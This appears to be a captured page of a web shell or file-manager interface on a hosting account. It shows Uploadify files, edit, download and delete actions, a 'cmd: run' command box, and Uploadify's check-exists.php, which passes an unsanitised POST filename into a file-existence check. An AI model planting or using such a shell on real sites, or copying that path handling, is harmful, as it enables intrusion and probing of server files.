/
home
/
techb158
/
immovalet.ca
/
report
/
misc
/
/home/techb158/immovalet.ca/report/misc
mkdir
upload
Name
Size
Mode
Actions
check-exists.php
428
0666
edit
dl
rm
uploadify.php
771
0666
edit
dl
rm
uploadify.swf
12675
0666
edit
dl
rm
Edit:
/home/techb158/immovalet.ca/report/misc/check-exists.php
(428B)
<?php /* Uploadify Copyright (c) 2012 Reactive Apps, Ronnie Garcia Released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ // Define a destination $targetFolder = '/uploads'; // Relative to the root and should match the upload folder in the uploader script if (file_exists($_SERVER['DOCUMENT_ROOT'] . $targetFolder . '/' . $_POST['filename'])) { echo 1; } else { echo 0; } ?>
Save
cmd:
run